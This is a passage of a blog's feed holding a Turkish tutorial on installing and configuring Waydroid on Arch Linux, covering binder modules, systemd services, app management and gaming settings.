&lt;p&gt;&lt;lite-youtube videoid="HVQBmWN5ZaU"&gt;&lt;/lite-youtube&gt;&lt;/p&gt;</content><category term="Linux"/><category term="linux"/><category term="waydroid"/><category term="arch-linux"/><category term="lxc"/><category term="oyun"/><category term="gamepad"/></entry><entry><title>Arch Linux'ta Waydroid Kurulumu: Binder Modülleri ve Gelişmiş Ayarlar</title><link href="https://yuceltoluyag.github.io/arch-linux-waydroid-kurulumu/" rel="alternate"/><published>2025-10-26T03:00:00+03:00</published><updated>2025-10-26T03:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-10-26:/arch-linux-waydroid-kurulumu/</id><summary type="html">&lt;p&gt;Arch Linux üzerinde Waydroid kurulumu ve gelişmiş ayarlarla Android uygulamalarını masaüstünde çalıştırın. Binder modüllerini etkinleştirin ve oyun deneyiminizi geliştirin.&lt;/p&gt;</summary><content type="html">&lt;h2 id="giris"&gt;Giri&amp;scedil;&lt;a class="headerlink" href="#giris" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er &lt;strong&gt;Arch Linux &amp;uuml;zerinde Waydroid kurulumu&lt;/strong&gt; yapmak istiyorsan, do&amp;gbreve;ru yerdesin. Bu rehberde Waydroid&amp;rsquo;in ne oldu&amp;gbreve;unu, hangi paketlerin gerekli oldu&amp;gbreve;unu, sistem mod&amp;uuml;llerinin nas&amp;inodot;l y&amp;uuml;klenece&amp;gbreve;ini ve Waydroid&amp;rsquo;in ilk kez nas&amp;inodot;l &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;laca&amp;gbreve;&amp;inodot;n&amp;inodot; ad&amp;inodot;m ad&amp;inodot;m g&amp;ouml;sterece&amp;gbreve;iz.&lt;/p&gt;
&lt;p&gt;Waydroid, Linux &amp;uuml;zerinde Android uygulamalar&amp;inodot;n&amp;inodot; &lt;strong&gt;container (kapsay&amp;inodot;c&amp;inodot;)&lt;/strong&gt; i&amp;ccedil;inde &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rman&amp;inodot; sa&amp;gbreve;layan bir projedir. Android ortam&amp;inodot;n&amp;inodot;, sistemine sanal makine kurmadan do&amp;gbreve;rudan &lt;strong&gt;LXC (Linux Containers)&lt;/strong&gt; &amp;uuml;zerinden &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;r. Bu sayede &amp;ccedil;ok daha h&amp;inodot;zl&amp;inodot;, entegre ve kaynak dostu bir Android deneyimi elde edersin ⚡&lt;/p&gt;
&lt;p&gt;Bu rehberin sonunda:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Arch Linux&amp;rsquo;ta Waydroid&amp;rsquo;i s&amp;inodot;f&amp;inodot;rdan kurabileceksin,&lt;/li&gt;
&lt;li&gt;Binder mod&amp;uuml;llerini etkinle&amp;scedil;tirmeyi &amp;ouml;&amp;gbreve;reneceksin,&lt;/li&gt;
&lt;li&gt;Waydroid sistem servislerini y&amp;ouml;neteceksin,&lt;/li&gt;
&lt;li&gt;Android uygulamalar&amp;inodot;n&amp;inodot; masa&amp;uuml;st&amp;uuml;nde sorunsuz &amp;scedil;ekilde ba&amp;scedil;latabileceksin,&lt;/li&gt;
&lt;li&gt;Geli&amp;scedil;mi&amp;scedil; &amp;ouml;zellikler ile oyun deneyimini optimize edebileceksin.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="waydroid-nedir"&gt;Waydroid Nedir?&lt;a class="headerlink" href="#waydroid-nedir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Waydroid&lt;/strong&gt;, Linux sistemlerde Android uygulamalar&amp;inodot;n&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in tasarlanm&amp;inodot;&amp;scedil; a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; bir ara&amp;ccedil;t&amp;inodot;r.
Basit&amp;ccedil;e a&amp;ccedil;&amp;inodot;klamak gerekirse:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Android i&amp;scedil;letim sistemini, sistem kaynaklar&amp;inodot;n&amp;inodot; sanal makineye kapatmadan do&amp;gbreve;rudan Linux &amp;ccedil;ekirde&amp;gbreve;i &amp;uuml;zerinde izole bir ortamda &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;r.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Waydroid, &lt;strong&gt;LXC&lt;/strong&gt; tabanl&amp;inodot; konteyner teknolojisini kullan&amp;inodot;r. Bu sayede:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Performans, sanal makinelere g&amp;ouml;re &amp;ccedil;ok daha y&amp;uuml;ksektir,&lt;/li&gt;
&lt;li&gt;Donan&amp;inodot;m h&amp;inodot;zland&amp;inodot;rmas&amp;inodot; kullan&amp;inodot;labilir,&lt;/li&gt;
&lt;li&gt;Sistem kaynaklar&amp;inodot; verimli &amp;scedil;ekilde payla&amp;scedil;&amp;inodot;l&amp;inodot;r.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="temel-bilesenler"&gt;Temel Bile&amp;scedil;enler&lt;a class="headerlink" href="#temel-bilesenler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bile&amp;scedil;en&lt;/th&gt;
&lt;th&gt;A&amp;ccedil;&amp;inodot;klama&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;waydroid&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ana komut sat&amp;inodot;r&amp;inodot; arac&amp;inodot;d&amp;inodot;r&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;binder_linux&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Android binder arabirimini sa&amp;gbreve;lar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ashmem_linux&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Android shared memory mod&amp;uuml;l&amp;uuml;d&amp;uuml;r&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;systemd servisleri&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Waydroid&amp;rsquo;in konteynerini otomatik ba&amp;scedil;lat&amp;inodot;r&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="adm-1-gerekli-paketleri-yukleme_1"&gt;Ad&amp;inodot;m 1: Gerekli Paketleri Y&amp;uuml;kleme&lt;a class="headerlink" href="#adm-1-gerekli-paketleri-yukleme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;lk olarak Waydroid ve gerekli mod&amp;uuml;lleri sistemine y&amp;uuml;kleyelim.
Arch Linux kullan&amp;inodot;c&amp;inodot;lar&amp;inodot; i&amp;ccedil;in &lt;code&gt;pacman&lt;/code&gt; ve &lt;code&gt;yay&lt;/code&gt; kullan&amp;inodot;m&amp;inodot; en kolay y&amp;ouml;ntemdir.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Syu&lt;span class="w"&gt; &lt;/span&gt;lxc&lt;span class="w"&gt; &lt;/span&gt;python-gbinder
yay&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;waydroid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;E&amp;gbreve;er &lt;code&gt;yay&lt;/code&gt; kurulu de&amp;gbreve;ilse 💡&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code&gt;yay&lt;/code&gt; yard&amp;inodot;mc&amp;inodot; arac&amp;inodot;n&amp;inodot; y&amp;uuml;klemek i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;base-devel&lt;span class="w"&gt; &lt;/span&gt;git
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://aur.archlinux.org/yay.git
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;yay
makepkg&lt;span class="w"&gt; &lt;/span&gt;-si
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-2-binder-ve-ashmem-modullerini-etkinlestirme"&gt;Ad&amp;inodot;m 2: Binder ve Ashmem Mod&amp;uuml;llerini Etkinle&amp;scedil;tirme&lt;a class="headerlink" href="#adm-2-binder-ve-ashmem-modullerini-etkinlestirme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Waydroid&amp;rsquo;in Android bile&amp;scedil;enleriyle haberle&amp;scedil;ebilmesi i&amp;ccedil;in &lt;strong&gt;binder&lt;/strong&gt; ve &lt;strong&gt;ashmem&lt;/strong&gt; mod&amp;uuml;llerinin aktif olmas&amp;inodot; gerekir.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;lsmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;binder
lsmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;ashmem
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &amp;ccedil;&amp;inodot;kt&amp;inodot;da sonu&amp;ccedil; yoksa:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;modprobe&lt;span class="w"&gt; &lt;/span&gt;binder_linux
sudo&lt;span class="w"&gt; &lt;/span&gt;modprobe&lt;span class="w"&gt; &lt;/span&gt;ashmem_linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Kal&amp;inodot;c&amp;inodot; yapmak i&amp;ccedil;in ⚡ Mod&amp;uuml;lleri her yeniden ba&amp;scedil;latmada otomatik y&amp;uuml;klemek istiyorsan:&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"binder_linux\nashmem_linux"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;/etc/modules-load.d/waydroid.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-3-waydroid-servislerini-etkinlestirme"&gt;Ad&amp;inodot;m 3: Waydroid Servislerini Etkinle&amp;scedil;tirme&lt;a class="headerlink" href="#adm-3-waydroid-servislerini-etkinlestirme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Waydroid sistemde iki ana servis kullan&amp;inodot;r:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;waydroid-container.service&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;waydroid-session.service&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Servisleri etkinle&amp;scedil;tirmek i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;waydroid-container.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Durumu kontrol et:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;status&lt;span class="w"&gt; &lt;/span&gt;waydroid-container.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Binder mod&amp;uuml;l&amp;uuml; aktif de&amp;gbreve;ilse servis ba&amp;scedil;lat&amp;inodot;lamaz ⚡ &lt;code&gt;dmesg | grep binder&lt;/code&gt; ile kontrol edebilirsin.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-4-waydroid-ortamn-baslatma"&gt;Ad&amp;inodot;m 4: Waydroid Ortam&amp;inodot;n&amp;inodot; Ba&amp;scedil;latma&lt;a class="headerlink" href="#adm-4-waydroid-ortamn-baslatma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Waydroid konteynerini ba&amp;scedil;lat:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;init
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;lk kurulum birka&amp;ccedil; dakika s&amp;uuml;rebilir.
Kurulum tamamland&amp;inodot;ktan sonra:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
waydroid&lt;span class="w"&gt; &lt;/span&gt;show-full-ui
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Wayland veya GNOME Shell kullan&amp;inodot;yorsan 💡 &lt;code&gt;waydroid show-full-ui&lt;/code&gt; komutu masa&amp;uuml;st&amp;uuml; &amp;uuml;zerinde Android aray&amp;uuml;z&amp;uuml;n&amp;uuml; a&amp;ccedil;ar.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-5-uygulama-yonetimi"&gt;Ad&amp;inodot;m 5: Uygulama Y&amp;ouml;netimi&lt;a class="headerlink" href="#adm-5-uygulama-yonetimi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="uygulama-listesi"&gt;Uygulama Listesi&lt;a class="headerlink" href="#uygulama-listesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="uygulama-baslatma"&gt;Uygulama Ba&amp;scedil;latma&lt;a class="headerlink" href="#uygulama-baslatma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;launch&lt;span class="w"&gt; &lt;/span&gt;com.android.settings
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="uygulama-kurma"&gt;Uygulama Kurma&lt;a class="headerlink" href="#uygulama-kurma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;~/Downloads/uygulama.apk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Baz&amp;inodot; APK'lar &amp;ccedil;al&amp;inodot;&amp;scedil;mayabilir ⚡ Google servisleri gerektiren uygulamalar GApps olmadan &amp;ccedil;al&amp;inodot;&amp;scedil;maz.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-6-waydroidi-durdurmak_1"&gt;Ad&amp;inodot;m 6: Waydroid&amp;rsquo;i Durdurmak&lt;a class="headerlink" href="#adm-6-waydroidi-durdurmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;stop
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;stop&lt;span class="w"&gt; &lt;/span&gt;waydroid-container.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-7-sorun-giderme"&gt;Ad&amp;inodot;m 7: Sorun Giderme&lt;a class="headerlink" href="#adm-7-sorun-giderme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="waydroid-loglar"&gt;Waydroid Loglar&amp;inodot;&lt;a class="headerlink" href="#waydroid-loglar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="binder-modulu-yuklenmemisse"&gt;Binder Mod&amp;uuml;l&amp;uuml; Y&amp;uuml;klenmemi&amp;scedil;se&lt;a class="headerlink" href="#binder-modulu-yuklenmemisse" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;modprobe&lt;span class="w"&gt; &lt;/span&gt;binder_linux
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;waydroid-container.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;No binder devices found hatas&amp;inodot; al&amp;inodot;rsan ⚠️ Gerekirse &amp;ouml;zel &amp;ccedil;ekirdek y&amp;uuml;kle.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="adm-8-gelismis-ayarlar-ve-oyun-deneyimi_1"&gt;Ad&amp;inodot;m 8: Geli&amp;scedil;mi&amp;scedil; Ayarlar ve Oyun Deneyimi ⚙️&lt;a class="headerlink" href="#adm-8-gelismis-ayarlar-ve-oyun-deneyimi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="81-sahte-wi-fi"&gt;8.1 Sahte Wi-Fi&lt;a class="headerlink" href="#81-sahte-wi-fi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;prop&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;persist.waydroid.fake_wifi&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"com.lilithgame.roc.gp"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Belirli uygulamalar i&amp;ccedil;in sahte Wi-Fi sa&amp;gbreve;lar 💡&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="82-udev-ve-uevent"&gt;8.2 Udev ve Uevent&lt;a class="headerlink" href="#82-udev-ve-uevent" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;prop&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;persist.waydroid.udev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
waydroid&lt;span class="w"&gt; &lt;/span&gt;prop&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;persist.waydroid.uevent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Linux donan&amp;inodot;m olaylar&amp;inodot;n&amp;inodot; Android taraf&amp;inodot;na iletir ⚡&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="83-gamepad-destegi"&gt;8.3 Gamepad Deste&amp;gbreve;i 🎮&lt;a class="headerlink" href="#83-gamepad-destegi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Kontrol cihaz&amp;inodot;n&amp;inodot; ba&amp;gbreve;lad&amp;inodot;ktan sonra Android taraf&amp;inodot;ndan otomatik tan&amp;inodot;n&amp;inodot;r.
Sorun varsa &lt;code&gt;/dev/input&lt;/code&gt; dizinini kontrol et.&lt;/p&gt;
&lt;h3 id="84-xtr-keymapper"&gt;8.4 XTR KeyMapper&lt;a class="headerlink" href="#84-xtr-keymapper" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sh&lt;span class="w"&gt; &lt;/span&gt;/sdcard/Android/data/xtr.keymapper/files/xtMapper.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;veya&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/system/bin/app_process&lt;span class="w"&gt; &lt;/span&gt;-Djava.library.path&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/data/app/*/xtr.keymapper*/lib/x86_64&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
-Djava.class.path&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/data/app/*/xtr.keymapper*/base.apk&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;xtr.keymapper.server.RemoteServiceShell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tuș atamalar&amp;inodot;n&amp;inodot; manuel ba&amp;scedil;lat&amp;inodot;r 💡&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="85-bellek-yonetimi"&gt;8.5 Bellek Y&amp;ouml;netimi&lt;a class="headerlink" href="#85-bellek-yonetimi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;stop&lt;span class="w"&gt; &lt;/span&gt;waydroid-container
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Konteyneri durdurur ve belle&amp;gbreve;i bo&amp;scedil;alt&amp;inodot;r ⚠️&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="86-ilk-baslatma"&gt;8.6 &amp;Idot;lk Ba&amp;scedil;latma&lt;a class="headerlink" href="#86-ilk-baslatma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;waydroid-container
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sonraki oturumlarda:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="sonuc_1"&gt;Sonu&amp;ccedil; 🎯&lt;a class="headerlink" href="#sonuc" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Art&amp;inodot;k &lt;strong&gt;Arch Linux&amp;rsquo;ta Waydroid kurulumu ve geli&amp;scedil;mi&amp;scedil; ayarlar&lt;/strong&gt; tamam!
Android oyunlar&amp;inodot;, gamepad, sahte Wi-Fi ve tu&amp;scedil; e&amp;scedil;lemeleri ile optimize bir deneyim elde edebilirsin.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Geli&amp;scedil;mi&amp;scedil; ayar 💡 &lt;code&gt;waydroid prop set persist.waydroid.debug_shell true&lt;/code&gt; ile canl&amp;inodot; Android shell hatalar&amp;inodot;n&amp;inodot; g&amp;ouml;rebilirsin.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="kaynaklar"&gt;Kaynaklar&lt;a class="headerlink" href="#kaynaklar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wiki.archlinux.org/title/Waydroid" rel="noopener noreferrer" target="_blank"&gt;Waydroid - Arch Linux Wiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/waydroid/waydroid" rel="noopener noreferrer" target="_blank"&gt;Waydroid GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linuxcontainers.org/lxc/introduction/" rel="noopener noreferrer" target="_blank"&gt;LXC Containers Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Xtr126/XtMapper" rel="noopener noreferrer" target="_blank"&gt;XTR KeyMapper Projesi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"&gt;&lt;/script&gt;
&lt;p&gt;&lt;lite-youtube videoid="HVQBmWN5ZaU"&gt;&lt;/lite-youtube&gt;&lt;/p&gt;</content><category term="Linux"/><category term="linux"/><category term="waydroid"/><category term="arch-linux"/><category term="lxc"/><category term="oyun"/><category term="gamepad"/></entry><entry><title>Installing Waydroid with Weston: ModuleNotFoundError Error and Solution</title><link href="https://yuceltoluyag.github.io/en/weston-ile-waydroid-modulenotfounderror-hatasi-cozumu/" rel="alternate"/><published>2025-10-25T03:00:00+03:00</published><updated>2025-10-25T03:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-10-25:/en/weston-ile-waydroid-modulenotfounderror-hatasi-cozumu/</id><summary type="html">&lt;p&gt;Learn the reasons and step-by-step solution for the frequently encountered "ModuleNotFoundError" error during Waydroid installation. Run smoothly on Weston! ⚡&lt;/p&gt;</summary><content type="html">&lt;script type="application/ld+json"&gt;{"@context": "https://schema.org", "@type": "VideoObject", "name": "Installing Waydroid with Weston: ModuleNotFoundError Error and Solution", "description": "&lt;p&gt;Learn the reasons and step-by-step solution for the frequently encountered \"ModuleNotFoundError\" error during Waydroid installation. Run smoothly on Weston! ⚡&lt;/p&gt;", "thumbnailUrl": "https://i.ytimg.com/vi/HVQBmWN5ZaU/hqdefault.jpg", 